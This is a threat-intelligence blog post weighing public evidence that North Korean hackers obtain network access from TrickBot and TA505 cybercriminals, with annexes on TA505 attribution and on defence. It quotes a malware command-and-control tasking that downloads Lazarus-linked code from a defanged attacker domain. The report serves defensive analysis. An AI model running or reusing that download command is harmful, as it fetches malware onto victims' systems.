Partners in crime: North Koreans and elite Russian-speaking cybercriminals

public.intel471.com/blog/partners-in-crime-north-koreans-and-elite-russian-speaking-cybercriminals

September 16, 2020

By Intel 471 • September 16, 2020

By Mark Arena, CEO of Intel 471.

This blog post takes a look at the credibility of claims in public reports of North Korean (referred to as DPRK for the rest of this post) links to Russian-speaking cybercriminals. The post is based as much as possible on public and open sources from credible parties that can be referenced rather than introducing new or confidential sources of information. We examine TrickBot, TA505 and Dridex, believed to originate from Eastern Europe, and attempt to understand potential linkages between these and DPRK threat actors.

For the purpose of this blog post, we are making the following generally accepted assumptions:

- Lazarus/Lazarus Group is tied to DPRK threat actors.
- TrickBot, TA505 and Dridex are tied to Russian-speaking cybercriminals.

It is outside the scope of this blog post to explain or justify this attribution.

Key findings

- DPRK threat actors likely are active in the cybercriminal underground and maintain trusted relationships with top-tier Russian-speaking cybercriminals.

- Malware believed to be only used and probably written by DPRK threat actors was very likely delivered via network accesses held by Russian-speaking cybercriminals (TrickBot, TA505).

Seeking assistance

On Aug. 28, 2020, I posted a tweet asking a number of security researchers for original source data/information that linked Lazarus to Dridex or TrickBot. My tweet indicated that I was skeptical of alleged links between DPRK threat actors and the actors behind TrickBot, TA505 and Dridex.

TrickBot, TA505 and the cybercriminal underground

The "cybercriminal underground," as we like to call it at Intel 471, is an organized ecosystem of products, services and goods consisting of real-life suppliers and consumers who can be mapped, tracked, understood and exposed. Participation and entry into the underground at the bottom tiers is easy. Becoming trusted, verified and achieving a good underground reputation takes years of work. We assess the operators and customers of TrickBot and the actors that make up TA505 as top-tier cybercriminals.

TrickBot is a private malware-as-a-service (MaaS) offering, run by Russian-speaking cybercriminals, that is not openly advertised on any open or invite-only cybercriminal forum or marketplace. It is determined by Intel 471 that only top-tier cybercriminals with a proven reputation can access the service. Reputation is gained through being involved in buying and selling products, services and goods in the cybercriminal underground. Even identifying who to talk to about accessing TrickBot would require a significant amount of activity and reputation in the underground. Therefore, the ability of DPRK threat actors to communicate with operators or customers of TrickBot would mean they are considered top-tier cybercriminals in their own right.

Intel 471 also believes TA505 actors are heavily involved in the cybercriminal underground based on the amount of tooling they have purchased from there. A number of organizations incorrectly link threat activity to TA505, so more information on what we consider to be TA505 threat activity is available in Annex 1: Defining TA505 at the bottom of this post.

Attributing threat actors who use a shared MaaS – TrickBot

When examining malware families that are shared MaaS offerings like TrickBot, one must understand how to identify different users of the shared criminal service. With TrickBot, the malware has a hard-coded parameter in each sample called the gtag. This is thought to be a campaign identifier, useful for tracking the TrickBot operators' different spreading mechanisms.

Palo Alto's Unit 42 (Brad Duncan) wrote a blog that was published on May 28, 2020, and included the following:

Every TrickBot binary has an identifier called a gtag. This is found in configuration data extracted from a TrickBot binary. Gtags can also be found in HTTP traffic during a TrickBot infection. They indicate the specific campaign or source of infection used for a TrickBot binary.

The gtag is a short alphabetic string followed by a number representing a one-up serialization. Examples follow:

- *mor-series gtag: TrickBot caused by an Emotet infection, for example: TrickBot gtag mor84 caused by Emotet on January 27th, 2020.*
- *ono-series gtag: various TrickBot infections initiated through malicious Microsoft Office documents like Word documents or Excel spreadsheets, distributed through English-language emails.*
- *red-series gtag: TrickBot distributed as a DLL file instead of an EXE, for example: TrickBot gtag red5 documented on March 17th, 2020.*

Linking DPRK threat actors to TrickBot – LEXFO's analysis

On Feb. 19, 2020, a report by the French information security consultancy LEXFO titled "The Lazarus Constellation – A study on North Korean malware" was published. A section of the report is titled *Clarifying links with TA505 (Emotet, TrickBot & Dridex)*. While including some unclear and unexplained links between TA505 and Emotet (we've never seen TA505 use Emotet) as well as TrickBot and Dridex (see Annex 1: Defining TA505), the report claims:

- DPRK threat actors have used a piece of ransomware called Hermes, which was sold in the underground *"for as little as $300 in 2017/2018"* and Ryuk ransomware shares most of its code with Hermes.
- *"Researchers reported that they saw previous Lazarus infections cohabit with Emotet and TrickBot, which can also be observed during a forensic mission."*

Intel 471 was able to verify that Hermes was offered for sale (posted in both Russian and English) by the actor CryptoTech on a Russian-language cybercriminal forum in mid-2017.

Linking DPRK threat actors to TrickBot – PowerBrace

On July 11, 2019, NTT Security published a blog post titled "Targeted TrickBot activity drops 'PowerBrace' backdoor." While the blog post incorrectly states the May 2019 observed activity is possibly linked to TA505 (see Annex 1: Defining TA505), it does cover an incident where TrickBot was used to deliver the PowerBrace backdoor, which BAE attributes to DPRK threat actors.

NTT Security's blog post unfortunately also doesn't shed light on the precursor event to the specific TrickBot infection that led to PowerBrace being dropped onto the system or on what version and gtag of the TrickBot infections were dropping PowerBrace.

Linking DPRK threat actors to TrickBot – Anchor and PowerRatankba

On Dec. 10, 2019, SentinelOne researchers published a blog post and report titled "Anchor Project | The Deadly Planeswalker: How The TrickBot Group United High-Tech Crimeware & APT." The report claimed TrickBot actors had *"refactored and repurposed"* TrickBot into an *"attack framework leveraging the project called 'Anchor'"* and that Anchor was being *"leveraged to actively attack medium-sized retail businesses amongst other corporate entities using point-of-sale (POS) systems*." Their research also revealed a *"command-and-control tasking for a compromised machine to download a specific tool linked to the Lazarus PowerRatankba"* from Anchor. The specific tasking was:

DownloadString('hxxps://ecombox[.]store/tbl_add.php?action=cgetpsa')

A day later (Dec. 11, 2019), Cybereason published a blog post titled "Dropping Anchor: From a TrickBot infection to the discovery of the Anchor malware" that said (without any mentioned links to DPRK threat actors or tooling) that Anchor was focused on targeting PoS systems. They further described Anchor as being *"used very selectively on high-profile targets"* and appearing to be *"tightly connected to TrickBot*." The infection vector described by Cybereason *"starts with a phishing email that contains a malicious link to a file hosted on Google Docs named 'Annual Bonus Report.doc.' When the user clicks on the link, the TrickBot dropper downloads onto the target machine. This differs from previous TrickBot attacks we have seen, where TrickBot is usually dropped through a Microsoft Office document or by another malware like Emotet*."

NTT Security also published a blog post titled "TrickBot variant 'Anchor_DNS' communicating over DNS" on July 6, 2020. This post covers (without any mentioned links to DPRK threat actors or tooling) NTT seeing *"Anchor_DNS"* deployed against the financial sector and against *"high impact servers such as AD [Active Directory] controllers*." They explain the infection vector as being *"the typical distribution methods of TrickBot, such as mail-spam and malware droppers*." NTT describes the deployment of selected malware depending on the target but describes their visibility showing that ransomware and PoS are "*prevalent*." They also describe the TrickBot gtags related to this activity as *"tot548, ser501, etc*."

Of the three posts on Anchor, only one mentioned observing a tool believed to be linked to DPRK threat actors. SentinelOne reported seeing a command-and-control tasking (via Anchor) to download PowerRatankba to an infected system. PowerRatankba is also mentioned in a blog post published on Jan. 15, 2019, from Flashpoint that covers a December 2018 intrusion into a *"Chilean interbank network Redbanc"* that is said to involve PowerRatankba.

PowerRatankba has only been reported to have been used in a small number of compromises, mainly against financial institutions, and SentinelOne claims it was pushed via Anchor with a TrickBot infection being a precursor to what SentinelOne reported. According to an open source report on the incident against Redbanc as described in Flashpoint's blog post, an employee of Redbanc was socially engineered to run a file

named ApplicationPDF.exe. Flashpoint's analysis of this file is that ApplicationPDF.exe is a dropper that *"displays a fake job application form while downloading and executing PowerRatankba"* and that hxxps://ecombox[.]store/tbl_add.php?action=agetpsb is called. This is the same server and a very similar get request as described by SentinelOne in their research on Anchor.

Building upon Flashpoint's analysis, QuoIntelligence published a blog post on Jan. 21, 2019, stating they believe the targeting of multiple Pakistani bank employees by DPRK actors had occurred. In the case they describe, ApplicationPDF.exe (also connected to ecombox[.]store and described as PowerRatankba) was also used and their *"analysis revealed the victim being an employee at a financial services provider in Pakistan and knowledgeable in financial systems and technologies including Point-of-Sales (POS) and Automated Teller Machine (ATMs)*."

Proofpoint, in their post and report titled "North Korea Bitten by Bitcoin Bug: Financially motivated campaigns reveal new dimension of the Lazarus Group" and published on Dec. 19, 2017, describes PowerRatankba as a *"PowerShell-based malware variant that closely resembles the original Ratankba implant*." Proofpoint writes that they *"believe that PowerRatankba was likely developed as a replacement in Lazarus Group's strictly financially motivated team's arsenal to fill the hole left by Ratankba's discovery*." Proofpoint also links to a blog post from Trendmicro titled "Ratankba: Delving into Large-scale Watering Holes" and published on Feb. 27, 2017, which talks about Ratankba being *"tied to malware attacks against banks in Poland, but also in a string of similar incidents involving financial institutions in different countries*." Trendmicro's attribution analysis of Ratankba:

Were the attacks carried out by cybercriminal group Lazarus?

While there is ambivalence if they were indeed their handiwork, our analysis indicates that the malware codes and techniques employed resembled those used by Lazarus.

DPRK threat actors likely linked to TrickBot operators or users

Based on the above examined links between DPRK threat and TrickBot, we assess it is likely there is a link between the operators or users of TrickBot and DPRK threat actors. TrickBot certainly appears to be a source of compromised accesses that DPRK threat actors can leverage. The operators or users of TrickBot seem to be well-versed in identifying interesting organizations they've compromised for follow-up intrusion activity, be it through Anchor or common intrusion tools (Metasploit, Cobalt Strike, BloodHound, Empire, etc.), or to pass off or sell to other threat actors, i.e., DPRK threat actors.

The precursor to a TrickBot infection and the version and gtag of a TrickBot sample that leads to DPRK tooling needs to be better understood for any future analysis of DPRK links to TrickBot. There is not enough original source information available within open sources to understand if all TrickBot infections could potentially lead to DPRK threat

actors or only a subset of TrickBot infections could lead to a DPRK intrusion. Only a subset of TrickBot infections leading to DPRK intrusions could mean that users/customers of TrickBot are linked to DPRK threat actors rather than the operators of the TrickBot MaaS.

Linking DPRK threat actors to TA505

On April 10, 2019, the researcher Norfolk wrote a blog post titled "OSINT Reporting Regarding DPRK and TA505 Overlap." This blog post quotes a 2019 BAE Systems presentation from Kaspersky's annual security researcher conference (SAS) that mentions a "possible overlap between TA505 intrusions and DPRK intrusions, suggesting a possible hand-off between the two groups."

Norfolk's post included a link to an article from Wired that was posted on April 9, 2019, and titled "A New Breed of ATM Hackers Gets in Through a Bank's Network." Within the Wired article are quotes from BAE Systems Intelligence Analyst Saher Naumaan (one of the presenters of the presentation at SAS) with regard to links between Lazarus and TA505:

In their incident response work with banks, BAE Systems analysts repeatedly noticed that the victim networks they were studying were infected with both a malware dubbed GraceWire and known Lazarus malware tools. The researchers also found possible links between GraceWire and a well-known financially motivated criminal hacking gang called TA505. Though Naumaan says it is too early to draw definitive conclusions about these overlaps, it's possible that Lazarus has been contracting with TA505 or other groups to gain access to financial networks.

"There is kind of a central theory that's being considered that TA505 may be the one to compromise the network and get the initial access and then sell that access to Lazarus," Naumaan says. "This would be interesting because in most of these fraud incidents we didn't know the intrusion vector—that was one of the biggest unknowns."

Saher Naumaan also clarified the link between TA505 and Lazarus on Twitter:

Also just to clarify, in my talk I said it was just a theory and we can't verify it, and there are other theories as well

Intel 471's own analysis is that GraceWire aka FlawedGrace (as mentioned in the aforementioned Wired article) was observed being used by TA505. Proofpoint also linked the use of GraceWire to TA505 in an early 2019 blog post. Intel 471 is not aware of any threat actors that have used GraceWire other than TA505.

Despite BAE's claim of the discovery of compromised financial sector systems having tooling believed to be only used by TA505 alongside tooling only used by DPRK threat actors, it is difficult to independently conclude a solid link exists between TA505 and DPRK threat actors without seeing original source data/information. Further

examination is required to understand how many victim networks BAE analysts saw TA505 and DPRK tooling alongside each other and in the context in which they were seen together.

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) recently released an alert titled "FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks on 26 August 2020." This alert specifically mentions that DPRK threat actors may *"be working with or contracting out to criminal hacking groups, like TA505, for initial access development*."

Although we haven't been able to conclusively link DPRK and TA505 through open sources, conversations we've had with other members of the security community have left us with the opinion that TA505 historically worked on occasion with DPRK threat actors, although that doesn't seem to have occurred recently.

No information to suggest DPRK threat actors are linked with Dridex

See Annex 2: No link found between DPRK threat actors and the actors behind Dridex.

Final remarks

Our conclusion is that we deem it likely that threat actors running or having access to TrickBot infections are in contact with DPRK threat actors. While it is hard to assess, it looks likely that the network accesses purchased by DPRK threat actors from TrickBot-linked actors were from financial institutions. It also appears that DPRK threats actors have multiple other sources of network accesses beyond just TrickBot infections and that two such additional sources are accesses sold in the cybercriminal underground and accesses obtained through social engineering. The number of increasing network accesses sold by other cybercriminals in the underground could enable DPRK threat actors to focus greater efforts on developing tooling and tactics, techniques and procedures (TTPs) for maintaining persistence and operating within compromised networks rather than initial access efforts.

Annex 1: Defining TA505

Defining TA505 is a somewhat difficult task because of their decentralized organization. Numerous organizations (Intel 471 included) have their own view on what is and isn't TA505, but with Proofpoint first coming up with the name, it's only fair that we use their description as a basis for this post. The first TA505 mention we could find from Proofpoint is their blog post from Sept. 27, 2017, titled "Threat Actor Profile: TA505, From Dridex to GlobeImposter."

Proofpoint researchers track a wide range of threat actors involved in both financially motivated cybercrime and state-sponsored actions. One of the more prolific actors that we track – referred to as TA505 – is responsible for the largest malicious spam campaigns we have ever observed, distributing instances of the Dridex banking Trojan, Locky ransomware, Jaff ransomware, The Trick banking Trojan [Trick = TrickBot], and several others in very high volumes.

Because TA505 is such a significant part of the email threat landscape, this blog provides a retrospective on the shifting malware, payloads, and campaigns associated with this actor. We examine their use of malware such as Jaff, Bart, and Rockloader that appear to be exclusive to this group as well as more widely distributed malware like Dridex and Pony.

…

The last TA505 campaigns featuring The Trick appeared in mid-September 2017 with payloads alternating between Locky and The Trick.

From this, we can ascertain that Proofpoint believes that TA505 uses a number of different tools that other cybercriminals also use, but they believe they are the exclusive users of Jaff, Bart and Rocketloader. From that write-up, Proofpoint believes TA505 uses both Dridex and TrickBot, but other actors also use them.

Common attribution mistakes regarding TA505 that we see are:

- Claiming TA505 developed Dridex. TA505 was a customer of Dridex from 2014 to 2017 and stopped using Dridex in 2018. Sources for this are the French Cybersecurity Agency ANSSI and NCC Group. Evil Corp is the group behind Dridex, a number of whose members were publicly indicted in late 2019 by the U.S. Department of Justice.
- Equating all Emotet or TrickBot activity to TA505. TA505 never used Emotet and only used TrickBot for a short period of time in late 2017.

Annex 2: No link found between DPRK threat actors and the actors behind Dridex

On Nov. 15, 2017, Jerome Kehrli posted a blog post titled “Deciphering the Bangladesh bank heist” that included the mention of a “custom Dridex worm” with the file name evtdiag.exe used in the hack of Bangladesh Bank. Kehrli’s blog post is frequently cited as the source of linkage between Lazarus and Dridex. Two security researchers on Twitter pointed out that evtdiag.exe was not Dridex but a Lazarus-linked tool. Kehrli responded to this with confirmation that the belief was that evtdiag.exe was Dridex at the time but it wasn’t confirmed. As a result, Kehrli said that he would update the article to reflect this information.

Based on Kehrli’s response and no other primary source information or data, no other links between Dridex and Lazarus were found.

Annex 3: How to protect your organization from DPRK threat actors given access through a TrickBot infection

The first order of business for any organization is to have good security hygiene, including but not limited to ongoing security monitoring, a detection strategy, and response and recovery. No matter the spreading mechanism for TrickBot, all TrickBot samples use the

same command and control server list. By blocking these control servers, TrickBot will not be able to call home to the criminal's servers. Once the criminals behind TrickBot have identified an access of interest, the network defender is racing against the clock. Possible next steps for the criminals are ransomware attacks or providing/selling access to other actors, i.e., DPRK threat actors.

Related Content

Flowspec – TA505's bulletproof hoster of choice

Here at Intel 471 we spend a fair amount of time tracking malicious infrastructure providers. In the world of cybercrime the malicious infrastructure provider, or Bulletproof Hoster (BPH) as they are called in the underground marketplace